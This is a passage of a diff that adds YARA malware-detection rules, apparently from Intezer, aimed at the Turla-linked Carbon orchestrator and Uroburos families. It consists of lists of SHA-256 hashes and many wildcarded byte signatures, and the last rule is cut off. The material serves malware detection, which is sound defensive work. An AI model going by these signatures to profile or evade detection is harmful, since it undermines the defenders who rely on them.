+		hash.sha256(0, filesize) == "54d5a7313ec9522b76fea9759fce7193335b924d073c0513bc528bf6d86194aa" or
+		hash.sha256(0, filesize) == "4a9e6fdafba6bddc8600f51aae4eb6119c0abe1f6ebdfc025a76627372e223a4" or
+		hash.sha256(0, filesize) == "93742b415f28f57c61e7ce7d55208f71d5c4880dc66616da52f3c274b20b43b0" or
+		hash.sha256(0, filesize) == "253c92fee41941aaef4dfe269240ff7025cf902cae3d8b3318eeb6c7f31742aa" or
+		hash.sha256(0, filesize) == "f28f406c2fcd5139d8838b52da703fc6ffb8e5c00261d86aec90c28a20cfaa5b" or
+		hash.sha256(0, filesize) == "527b6a2bf5a250c06378b8f0f2b0ba4a1a121bf460ac70ecb3bf8b41ac1b06b4" or
+		hash.sha256(0, filesize) == "b8c477c2f8c38b7d726b18e925f5b15a7fa2dd8ec19a73eb688844f40f50b914" or
+		hash.sha256(0, filesize) == "5bda2aefda5802d716c8a849c409af40f78f7208222f3e08c9323c5eea76e5a9" or
+		hash.sha256(0, filesize) == "9611d0b1837e933b9d938e19791b757aa56669ec75b8fd671bdd1371eede03bb" or
+		hash.sha256(0, filesize) == "655f1fdcd8b60425426dd4c22e50e79374b9790d44415cb9c0e51f64e73d4de4" or
+		hash.sha256(0, filesize) == "4c8b2e001dbf9e8b285c79514319e0a14dbb839998dd4d643d51fb11767d0cf9" or
+		hash.sha256(0, filesize) == "07e29254c525f67a7c3c815440bb8ba4454faf1e7f502a3a5f27f813b97e6b11" or
+		hash.sha256(0, filesize) == "ca69e85a5752d4a5ffe88c3d45d0d14f329e518aab56e8fc948138db23810233" or
+		hash.sha256(0, filesize) == "f697aa0bb10ae7141fb1ee62e854616e1d650397121041fc7d502c091c4234eb" or
+		hash.sha256(0, filesize) == "2956ef7470a504a8ea7aab211442febee740b3a0d39bb4fae1a2e578689167d6" or
+		hash.sha256(0, filesize) == "615b0bdff7cfa88cd55f5629505ed6212e7e8c022e00b33fc12e5f33356d5872" or
+		hash.sha256(0, filesize) == "43e71b993d6e7c977caaf2ed7610a71758734d87ec2ceb20a84e573ea05a01b3" or
+		hash.sha256(0, filesize) == "a15c351b940046bc80c8d0a69b8d5f6c4198cb20f68ad830dc3b1036ba8d34e4" or
+		hash.sha256(0, filesize) == "bb2b25b2a161914a23d1f3d68e852b5305a27e827431b538703735e6199d518d" or
+		hash.sha256(0, filesize) == "6e9bf792c8247e612d3a8dfc5ea139c624e1d6c8bf116ff5ce280e7dc07ec4d4" or
+		hash.sha256(0, filesize) == "a5d557e91716997925119dfb7dd007732e37a21d9abba2282565ce583b5d6eca" or
+		hash.sha256(0, filesize) == "746a3aa794e77a83806747649de68109baca26fe7bdd985af1b73a2285a7df10" or
+		hash.sha256(0, filesize) == "a10a0c729e5100c979d446b5f87251b0743fd108a305d9f9ea85832729ced6a8" or
+		hash.sha256(0, filesize) == "0d1fe4ab3b074b5ef47aca88c5d1b8262a1293d51111d59c4e563980a873c5a6" or
+		hash.sha256(0, filesize) == "b3746bf1c21b70a367c1b9de9f5d8c7f1a4803a014e0e6300ddd4adeb45feeff" or
+		hash.sha256(0, filesize) == "bb975dc17d871535ddeadfb6ec34089ba02eef3f2432e7a4f37065b53d67c00a" or
+		hash.sha256(0, filesize) == "09bc2a5f3de9dbcf54eb94e0f3a67c846403b34ad11dff23c9c8627bb9a16529" or
+		hash.sha256(0, filesize) == "ea4b2d5e2c47ba8ce92a90b6e2fe6a48d22dbafd6ec4dab7465c8cef28e19515" or
+		hash.sha256(0, filesize) == "77e68d7aa595231067597d9a1c176fe2f3c4f53ae3f6509f11e2c314d286f4e6" or
+		hash.sha256(0, filesize) == "8c0e21756d659b383e206d603dfd3be41f0ea2d8277dae7bc1b6a2e1dc64e5c6" or
+		hash.sha256(0, filesize) == "8c12da9df42c74afbefebfa5f601cd8e18cb4ef8eced56b319cb1011324ff198" or
+		hash.sha256(0, filesize) == "5a64928debca2d9f1ffa4194f541c9188b32430cad4bdabac8f5bbdc514a0685" or
+		hash.sha256(0, filesize) == "369b23b794f487653ab5d410c35c26a72c9affe0a4e49062f034b4d08e254d77" or
+		hash.sha256(0, filesize) == "71b3b876702f2405832444b761c6b3bdb854a77aea0bf650d1fee346479fa6ff" or
+		hash.sha256(0, filesize) == "cced33b6fe42e56355118a7dbae8bc2fded8d218615616f2edbbf0f6795a1473" or
+		hash.sha256(0, filesize) == "79cdaebb65c04758a5fce3bbd19973af21de4cc0c4cf659ece8cc153f441fc19" or
+		hash.sha256(0, filesize) == "7fabb245a35ad61406627bac9a2c232e5990da5ec5f144d43af59167200f971a" or
+		hash.sha256(0, filesize) == "100bd3acec48872863523ecc25731d647f9c1baeb9c320aa89cc1f9dfb57b3db" or
+		hash.sha256(0, filesize) == "caa22575a53cbd65b5b6b22132279f1817f26a832612e854cb08dd50f93790c2" or
+		hash.sha256(0, filesize) == "f85f66e45cc232223e8db39ac0b1cec1332b6267e0d2505926fe4c07427ff0d6" or
+		hash.sha256(0, filesize) == "a6bf9cc1f64ac190e42cfce47564ef71492a788543d438408b522e40a716610c" or
+		hash.sha256(0, filesize) == "c8bee88458f89f6aee9bb213c397ef1b9ff4588169b1bba5bec7b840879170fc" or
+		hash.sha256(0, filesize) == "d2bef8242f3295c1815fb7ee32228a221b0e59f0be43259e4f41bd18c7e7dcf1" or
+		hash.sha256(0, filesize) == "33460a8f849550267910b7893f0867afe55a5a24452d538f796d9674e629acc4" or
+		hash.sha256(0, filesize) == "50edc955a6e8e431f5ecebb5b1d3617d3606b8296f838f0f986a929653d289ed" or
+		hash.sha256(0, filesize) == "0ac463de10eaf57cfcf2d41bdfbc827844dd7b8d908905fca9bc105c200c9362" or
+		hash.sha256(0, filesize) == "54107d0498f12b53ae49e9311f3a599dbbc3c555358a26a33f9b797c0c5f377c" or
+		hash.sha256(0, filesize) == "dfb513ae1ae4d661194781c52e8135ea15a252e4df7130ed564e286d83a4ad11" or
+		hash.sha256(0, filesize) == "d9498b9a806a8c7e706020dab600b1842eaa4bf3909e69144a8410db1f5e6e83" or
+		hash.sha256(0, filesize) == "a7701723cddf597309f9c5813cb962e74751c80203db31d14e2e05971ac6378c" or
+		hash.sha256(0, filesize) == "564ee49a4703de53bfa1bdc6a5b71f111ea23e38a6ff441e0bf2ff7c28d95525" or
+		hash.sha256(0, filesize) == "b262292e049ee75d235164df98fa8ed09a9e2a30c5432623856bafd4bd44d801" or
+		hash.sha256(0, filesize) == "0e3842bd092db5c0c70c62e8351649d6e3f75e97d39bbfd0c0975b8c462a65ca" or
+		hash.sha256(0, filesize) == "11016f63ca3c35ae4bcba8705854a787420af27d3d6953b1c563cf694f1811c5" or
+		hash.sha256(0, filesize) == "bd48c953163785c5f682b742ea5b25a611b2bf551a1dd36fb8abb2c07d9189de" or
+		hash.sha256(0, filesize) == "3b903a93f1fd2bd81b7b73daefd2d298a2fbb0137b786449e07176abd5cdde74" or
+		hash.sha256(0, filesize) == "d5757c6f93b94fb3819363b4c2b3046a2e714968652a5992a6756f180d30cd25" or
+		hash.sha256(0, filesize) == "e534a8c4c126dfa35dd5c0a34582f244a51c08e446e9ffd5ccde9f5a37564c03" or
+		hash.sha256(0, filesize) == "43b8ce99af9c59376d3b077a87ce7afe720022987f3cf62f51504d22330a516b" or
+		hash.sha256(0, filesize) == "831ea1e478093409733708256086529f8971e7ed8849d4d146d8fe28602f1d2a" or
+		hash.sha256(0, filesize) == "fea3d7271bf2ad43e2534e8be050b6f8830991375e301403817d4d57e87ed624" or
+		hash.sha256(0, filesize) == "dc06a54b55edf5ae48d3721c038a3e57d92e321505bed80a0e22defdf1312f76" or
+		hash.sha256(0, filesize) == "9bcde3bb10a88644393bb598e3b2498b3522b68299bea6e4f24cc4eeb5cfe231" or
+		hash.sha256(0, filesize) == "b7aeb8b1bbcf9db4c6a37ceecb0a29f0a5efe8dda72b4563f547e0b18afb0a50" or
+		hash.sha256(0, filesize) == "6b9419b2e6ea7dbe2054b4b2568bd5c61c08706f33788c55649fd4991a28c476" or
+		hash.sha256(0, filesize) == "99ac651da4a17a667a0b05009bafde945cbcd93ada8f241d9c3ad8654095fcc4" or
+		hash.sha256(0, filesize) == "099ad10b55e74e1b99424d8e739107534004ba5b1e6c051cf8b942ed32dabca6" or
+		hash.sha256(0, filesize) == "93c8db29ec3707f13bf5a96d5b8a3dc33c2f5b870acd3df07292c724ce10a13f" or
+		hash.sha256(0, filesize) == "8931663da74657c87ce2bf76ba501a3dd9cb7a952063d6122996d1dbc6227093" or
+		hash.sha256(0, filesize) == "cf1b968a37fb4ac317e4ec89c57974ae4ce88c6f9119bd9343bbb4834ea8d2f3" or
+		hash.sha256(0, filesize) == "1d93015012993265d64c9f5494ca40ff75a8c850ea57357f0a8668d56bf6b160" or
+		hash.sha256(0, filesize) == "5d21324eddb511fd4630a46d78673d73777383d62fc3ac2c966fd922f7f21256" or
+		hash.sha256(0, filesize) == "4f18b90cd644ea28bcb964622855145afca6a34e2381a10d731ec0f1bb46dd3b" or
+		hash.sha256(0, filesize) == "2b30fc3afac6220d1e4b0f87ec23681ef27b617d5724421803a3e8d4e7135f60" or
+		hash.sha256(0, filesize) == "35ed1d87b31d238b3bdcffb13b5902cceba3c25aebfd9f54789d79d33bc6ce7a" or
+		hash.sha256(0, filesize) == "2fc6bc0683f9e9f20aae1fb257a1a05be63ddbbc600876bff6cd622879518d6e" or
+		hash.sha256(0, filesize) == "afb0ae6e0f130b9200949c191561b013c2762f392717b36c87964b0a34a0f632" or
+		hash.sha256(0, filesize) == "3de0ba77fa2d8b26e4226fd28edc3ab8448434d851f6b2b268ec072c5da92ade" or
+		hash.sha256(0, filesize) == "ba15a26408613936c6bc192f1b143e15914cd578074e91ba4fcff6a042c4f9e7" or
+		hash.sha256(0, filesize) == "e4ff7d8c1cdf48039640454025ff17cbe0f7e79bd561bd5ad8ff1e7aa5073754" or
+		hash.sha256(0, filesize) == "7e2ae0a57bc676aab0926babe934cc2c89ef194a1660ee175182237f837c45eb" or
+		hash.sha256(0, filesize) == "39050386f17b2d34bdbd118eec62ed6b2f386e21500a740362454ed73ea362e8" or
+		hash.sha256(0, filesize) == "d597e4a61d94180044dfb616701e5e539f27eeecfae827fb024c114e30c54914" or
+		hash.sha256(0, filesize) == "beac78638a18b7de1861845797ff3adfae22607dceee42b99e17d191045244ed" or
+		hash.sha256(0, filesize) == "12be398511efb74fb99b496229fce2648a71c5bccd85b45adfd14f5af5b7dbda" or
+		hash.sha256(0, filesize) == "36e44ea38c8d48a34df0dc88cf1e1203f8f97bd52f035eccd338112e57f6f9f3" or
+		hash.sha256(0, filesize) == "65fdaf08e562611ce58f1d427f198f8743d88a68e1c4d92afe6dc6251e8a3112" or
+		hash.sha256(0, filesize) == "36494d7f0aeaf36bd6fa49e08636ffe6f20fdd60c13a0dc1bfc97e4d9d4e54ba" or
+		hash.sha256(0, filesize) == "57b8c2f5cfeaca97da58cfcdaf10c88dbc2c987c436ddc1ad7b7ed31879cb665" or
+		hash.sha256(0, filesize) == "b34cf1c74d4c4ce873543d41fc03be06a403b4872bcd1adbe16cfaa4201df115" or
+		hash.sha256(0, filesize) == "61bd32dbe2d08c31a23094dee2a2920c1fc3e9b4fbfbe2d3341b8dfed62cfab4" or
+		hash.sha256(0, filesize) == "846bdce641d7acbfaf28891d0351620fec954e02b2145cb7cd13aa6bdc8fe647" or
+		hash.sha256(0, filesize) == "e943923f6b2d5c915cc34d1ca81498a64329d7151fd7c42ca92a315f97e8ce82" or
+		hash.sha256(0, filesize) == "0f5ec3b9535d4f956330351c5310626ffaa17f146ff51a8b3b10ea0a7039eadc" or
+		hash.sha256(0, filesize) == "f3e4e1dece0a14bedbd02b123996316d90a99b8ba581dd1c45b52f33ee56f2e5" or
+		hash.sha256(0, filesize) == "9fd6dadb312d9d9d2dd3c151c7c58103e0e0062162428f578de95c2f192aa8b0" or
+		hash.sha256(0, filesize) == "571633025b6ff979a946186b892d9217be26c4078e7911b2ebccaa4dcda6aeab" or
+		hash.sha256(0, filesize) == "4c49c9d601ebf16534d24d2dd1cab53fde6e03902758ef6cff86be740b720038" or
+		hash.sha256(0, filesize) == "89ead864cb4117eb5ec548ead783a292db5aec8c2ddbb7873e81de7ce73f570a" or
+		hash.sha256(0, filesize) == "20f7a38a5e3c4fec43978be3a4c4ea91ecbb94ccc0151dd770cda3100dc79d99" or
+		hash.sha256(0, filesize) == "09bd85c522a23396e1ab57680eb515ff29f4dd72baa5ba49637020ae2336b6b1" or
+		hash.sha256(0, filesize) == "2f5aa8a71df89858b6681cddbe72d30dded5c808e6018ff723c4660ab53b1a93" or
+		hash.sha256(0, filesize) == "f56b1248cdecffd25dbf8a2895105fec38f0a4ce03241571c8eb8daafc9a168f" or
+		hash.sha256(0, filesize) == "9897d726cfccefd8f444c167cfaa34949449104a1a343a047dda2c257c4c9a31" or
+		hash.sha256(0, filesize) == "85e6ab75e96dc7df18dd97d7c0eaeb0ed8d4fa33a4ecc09c196b9cf4795ca368" or
+		hash.sha256(0, filesize) == "e8044c11f46b204a7dec5600cf3a0a5252951b9a026a9a41abcce96e0f1adf90" or
+		hash.sha256(0, filesize) == "55b17467da6d12ecf71e82eb96870bd314f248675da1bfad1b1e437b45453452" or
+		hash.sha256(0, filesize) == "8fb20f80f0ee6ba3bb60e05079aceb05cbad17d73659665db21ce78b6898ce88" or
+		hash.sha256(0, filesize) == "e2e5cc06f3814c48a14af0a587c947eb098f3803383fe8ac3162ab1027f991f9" or
+		hash.sha256(0, filesize) == "f4554db7998e0a3467fa35d6a4fee1e34ae9db6381751e45f889fcaacd95c985" or
+		hash.sha256(0, filesize) == "c14c04f8c41407e1ddb100f1b6c5f2af5d1815edd9f024e9b76686ddf8b368bc" or
+		hash.sha256(0, filesize) == "eb8d87c6684dcbbcbb49bf60724c1ab15942b9ba52bf7f866d33e07b4b82c905" or
+		hash.sha256(0, filesize) == "67bc775cc1a58930201ef247ace86cc5c8569057d4911a8e910ac2263c8eb880" or
+		hash.sha256(0, filesize) == "ff2a292ef76b5040fda8635ca95a652ff81ff57bb602a229ff7c74da31fe4d8b" or
+		hash.sha256(0, filesize) == "152c867667517a0ec0b3231beece8ff46ff954bfc2493ca3bdfdfc6ea6b1bde9" or
+		hash.sha256(0, filesize) == "1321c78aa2abefd7f59994376b02159e5c2c81665f01b6a18707bd4fc3861116" or
+		hash.sha256(0, filesize) == "129380c4955be84330ead54c8939dfb55c91d9f08a9964a73434692fb6bf9d74" or
+		hash.sha256(0, filesize) == "448df2684c495bb54ee87214bba4b3b6b4b8d0989bf698ced04962cbcc0865a8" or
+		hash.sha256(0, filesize) == "30fc7f6e8623ee65e56fd4514169a2b01d1e35af06dda347ff4efe94c3d2329f" or
+		hash.sha256(0, filesize) == "c55fa19ac18710c56045e39724f3b6a83a916508ae23a14bb2a108e71eac64a0" or
+		hash.sha256(0, filesize) == "bf1cfc65b78f5222d35dc3bd2f0a87c9798bce5a48348649dd271ce395656341" or
+		12 of them
+}
+
+rule CarbonOrchestrator_v3_79_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_2 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? 48 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 89 ?? ?? ?? EB }
+		$block_3 = { 4C ?? ?? ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_5 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 66 ?? ?? ?? EB }
+		$block_6 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_8 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_10 = { 0F BE ?? ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 7C }
+		$block_11 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_12 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_13 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_14 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_15 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 75 }
+		$block_16 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? C7 }
+		$block_17 = { 8B ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? 73 }
+		$block_19 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_20 = { 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_21 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_22 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 0F 85 }
+		$block_23 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? E9 }
+		$block_24 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_25 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_26 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_27 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_28 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_29 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_30 = { 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_31 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_32 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_33 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_34 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_35 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 66 ?? ?? ?? ?? EB }
+		$block_36 = { 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 85 ?? 74 }
+		$block_37 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_38 = { 0F B6 ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? 8B ?? 0F B6 ?? ?? ?? 03 ?? 8B ?? 88 }
+		$block_39 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? ?? ?? 0F 87 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_41 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? ?? 77 }
+		$block_42 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 3D ?? ?? ?? ?? 0F 8C }
+		$block_43 = { 48 ?? ?? ?? ?? 8B ?? ?? 99 83 ?? ?? 03 ?? C1 ?? ?? 39 ?? ?? ?? 7E }
+		$block_44 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_45 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_46 = { 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 75 }
+		$block_47 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_48 = { 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_49 = { 8B ?? ?? ?? FF C? 89 ?? ?? ?? 0F B7 ?? ?? ?? 39 ?? ?? ?? 0F 83 }
+		$block_50 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_51 = { 8B ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_52 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_53 = { 48 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_54 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 75 }
+		$block_55 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_56 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7F }
+		$block_57 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 85 }
+		$block_58 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 8E }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_60 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7D }
+		$block_61 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 74 }
+		$block_62 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_63 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 86 }
+		$block_64 = { 33 ?? 8B ?? ?? ?? F7 ?? ?? ?? FF C? 0F AF ?? ?? ?? 89 }
+		$block_65 = { B2 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_66 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 83 }
+		$block_67 = { 8B ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? 85 ?? 0F 84 }
+		$block_68 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_69 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_70 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_71 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 3B ?? 7D }
+		$block_72 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 39 ?? ?? ?? 0F 85 }
+		$block_73 = { 8B ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 0F 85 }
+		$block_74 = { 0F B7 ?? ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_75 = { 48 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_76 = { 48 ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_77 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 74 }
+		$block_78 = { 8B ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_79 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 75 }
+		$block_80 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_81 = { 8B ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 8D }
+		$block_82 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 85 }
+		$block_83 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_84 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+
+	condition:
+		hash.sha256(0, filesize) == "9184be433426f5c9fe8ce27e8df89d7849c6af61779a3835c89ad46815abe839" or
+		24 of them
+}
+
+rule UroburosCVE20083431 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_2 = { 0F B6 ?? ?? 0F B6 ?? C1 ?? ?? C1 ?? ?? 03 ?? 2B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 8B ?? 99 F7 ?? ?? ?? ?? ?? 4? 8A ?? ?? 30 ?? ?? ?? 3B ?? ?? ?? ?? ?? 72 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? ?? B8 ?? ?? ?? ?? 33 ?? 66 ?? ?? 0F 85 }
